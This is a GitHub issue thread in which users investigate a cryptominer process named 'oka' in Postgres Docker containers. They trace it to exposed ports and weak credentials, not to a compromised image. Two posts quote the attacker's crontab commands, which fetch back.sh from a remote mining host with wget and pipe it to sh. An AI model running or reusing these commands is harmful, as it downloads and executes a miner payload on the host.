Compromised image in docker-hub

[efagerberg]

Postgres 11.2 AMD64 image seems to be compromised and should be immediately removed from dockerhub. This image executes a cron job to mine cryptocurrencies, and possibly more. Might be worth auditing all variants in case.

cmd: echo "*/30 * * * * /var/lib/postgresql/data/./oka" > /tmp/a;echo "* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh">> /tmp/a; crontab /tmp/a;rm -rf /tmp/a

We noticed on our host machine that there was process running a suspicious script ./oka. This processes was coming from a 2 day old postgres:11.2 docker container once we looked inside the container. We had to nuke the image and fs mounts, so nothing is left over, and rerunning locally I am not able to immediately see the same effect, could be the script only runs after a certain amount of time.

[wglambert]

That ADD file ... in / is the docker-entrypoint.sh

Where's that bash snippet from?

[efagerberg]

Let me update the issue, I was not trying to point to a specific layer (it just defaults to the first one I think).

[wglambert]

This is the Dockerfile for 11.2-1.pgdg90+1
https://github.com/docker-library/postgres/blob/7e80419825e4bab4e749bc61334570ffc261ea5e/11/Dockerfile

7e80419#diff-6512bd43d9caa6e02c990b0a82652dca

[tianon]

Can you please point specifically to where you saw this line within the image? I cannot verify this claim:

$ docker pull postgres:11.2
11.2: Pulling from library/postgres
Digest: sha256:85d0c745dc4f4627184da8945a36ac773762ec5d2ba1c1821cc7334b736e6e00
Status: Image is up to date for postgres:11.2
docker.io/library/postgres:11.2
$ docker run --rm postgres:11.2 find / -name oka
$ docker run --rm postgres:11.2 grep -rn '/var/lib/postgresql/data/./oka' /etc /var /usr
$ 

My best guess is that your PostgreSQL instance was exposed to an attacker (possibly via a port mapping exposed to the internet?) and that your instance was compromised.

[efagerberg]

That is a good theory, apologies I figured maybe the script was waiting some amount of time to start doing things, but it seems more likely this is on our end. I will keep looking and if I find anything new I will update the issue otherwise I will close it.

[efagerberg]

Looking at the host machine we were not exposing that container's port to the outside world, still looking to see if there are any holes there but it seems like right now I would not expect someone to be able to shell into that container outside of that host.

[efagerberg]

Although our host should be locked down I don't think it is likely this is actually coming from the official image, looking through the source code nothing seems suspicious. Thanks for your help, if anything changes I will reopen.

[zachlatta]

Hi there, I can confirm that we ran into the same issue this morning with one of our Docker Postgres instances. I found a process named oka running that was consuming the whole CPU.

We have a development server for a Rails app that is developed using docker-compose and has a Postgres dependency in it. The Postgres image we're using is postgres:11.4.

[efagerberg]

For me this process came from someone gaining access to my container from the outside, apparently docker-compose has an issue where they default to publishing ports on 0.0.0.0 even if you configure the docker daemon not to do that by default. You might want to check that on your end as well.

[winhkey]

I found it too. Since I installed postgis it appeared in postgres's crontab.

*/30 * * * * /var/lib/pgsql//var/lib/pgsql/12/data/./oka
* */6 * * * wget -q -O- http://xmr.linux1213.ru:2019/back.sh | sh

[serefarikan]

I just had this problem. A server I'm using started to slow down. I ssh'ed to the box and saw that a process named oka was using pretty much all the cpu.

I had a postgres image running as well, but I may have a different take on the source of the problem. I was using docker-compose -up with the following docker compose file:

version: '3'
services:
  postgresql:
    image: "clkao/postgres-plv8:latest"
    ports:
     - "5432:5432"
    environment:
      POSTGRES_PASSWORD: postgres
      POSTGRES_USER: postgres
      POSTGRES_DB: marten_testing

I took this compose file from the integration tests of marten db source code. I did not worry about this image getting compromised despite leaving user/pass as postgres because the server is behind a firewall (ufw running on ubuntu).

Seeing this thread, I can see that I was wrong, but I'm not sure if the attack came from internet. My current external ip is the only ip that is given full access to all ports. So something that is running in my network, which scans postgres ports with default user/pass could have compromised the docker image, not because the image itself is compromised, but because the ports are accessible and user/pass is not strong enough.

The worrying bit of the above line of thinking is something running in my network, but that's for me to investigate. Did anybody have a similar weak combination of user/pass when their postgres instance was compromised? If so, the problem may have nothing to do with docker and may be related to something targeting postgres.

I suspect docker instances running postgres may be more vulnerable than regular postgres instances due to docker running as root but that's where I start go go beyond my system-fu skills/knowledge. Comments and more findings are welcome.

[serefarikan]

Ok, I just realised that I may be (half) wrong. The oka process was running on the host(!) so whatever put it there may have exploited postgres but in order to run a process on the server, it'd have to escape docker container so I'm really worried now.

[efagerberg]

One thing that might make that process showing up on your host clearer is that docker is not a virtualization technology, it is running directly on the host kernel therefore the processes will come up in ps -aux, which could lead to your assumption that the user escaped the postgres container into the host. But I think it might be more likely that the user did not escape the container and just used the container to utilize the host cpu and ram resources for mining.

[efagerberg]

For me the way docker-compose exposes the ports (exposing to 0.0.0.0 unless explicitly set differently) was convincing to me that the container was exposed to the outside world via misconfiguration. Docker also rewrites iptables which means the traffic can reach the outside world and thus be open to a port scanning attack. Similar to you I had not put in a strong user pass combo because I was intending the container to only be accessible internally and for testing purposes.

[serefarikan]

Thanks @efagerberg I nuked all images and containers, then removed my user from docker group for good measure. When I run docker-compose, it actually tells me it is listening on 0.0.0.0 but I never thought it'd mess with iptables. I'll test access to postgres port from another machine which should be blocked by ufw.
Thanks for the point re Docker's nature. I'd forgotten about that. What you say makes sense, but I think a compromised image (via postgres) ran by a user in docker group is still dangerous. I'll investigate a bit more, especially to make sure the host is clean.

[serefarikan]

For anyone who may come across this via a google search. @efagerberg nailed it. Docker seems to poke a hole in the firewall. With my firewall up (ufw, on Ubuntu 18.04) I can indeed connect to postgres from another machine, which is on a network that is blocked by the firewall.

I never came across this situation before. Lesson learned.

[efagerberg]

Yep the best way around this I have found is to make sure you have ip tables rules that only allow certain traffic inside and out of docker containers using the known subnets for the docker networks. The iptables manipulation is a feature in some cases because it lets users get out of the way of network configurations, but in cases where you trust your existing firewall it can be undesirable as a default pathway. I hope in the future they include documentation to help educate people on this issue without having to have a security incident be the learning experience. Likewise I hope docker-compose updates it's library to respect the default ip address defined in the docker daemon so that when you expose a port like so 80:80 it gets the default ip address in the daemon instead of always assuming 0.0.0.0.

[serefarikan]

I updated the docker compose file to bind the ports to 127.0.0.1 instead of 0.0.0.0
That does the trick.

[ne0c0de]

Hi

I just have the same issue that is occured on my server which has docker and postgres container in it. However mine postgres container wasn't running when this oka process appeared.

I'm usually keeping an active firewall script which is configuring iptables but yesterday i was stopped it because it's also killing the docker container global internet connection down. So probably that script find a way to appear again and make itself running.

So my question is how can I get rid of this process on my host machine? @serefarikan did you find a way for it?

[ne0c0de]

my postgres docker image version is: postgres:11.4

I found a crontab as same as @winhkey on the postgres crontab on host machine. I'm not sure it's related with postgres official image but somehow it's running with postgres user.

[grumpyrodriguez]

Hi

I just have the same issue that is occured on my server which has docker and postgres container in it. However mine postgres container wasn't running when this oka process appeared.

I'm usually keeping an active firewall script which is configuring iptables but yesterday i was stopped it because it's also killing the docker container global internet connection down. So probably that script find a way to appear again and make itself running.

So my question is how can I get rid of this process on my host machine? @serefarikan did you find a way for it?

The process is running under docker, and as explained above by @efagerberg it is unlikely that it can escape the container. I stopped and removed the container, made sure that docker won't run without sudo (yes it's convenient to not to have to type sudo but not worth the risk), then ran it again, but as I wrote above, made sure that it is only bound to 127.0.0.1 rather than all network interfaces. No sign of that process again on the server, so I'm assuming all is OK.

[ne0c0de]

I found the case.

It's not related with docker, neither postgresql docker image.

Here's the explanation: https://www.alibabacloud.com/blog/is-your-postgresql-server-secretly-mining-digital-coins_593932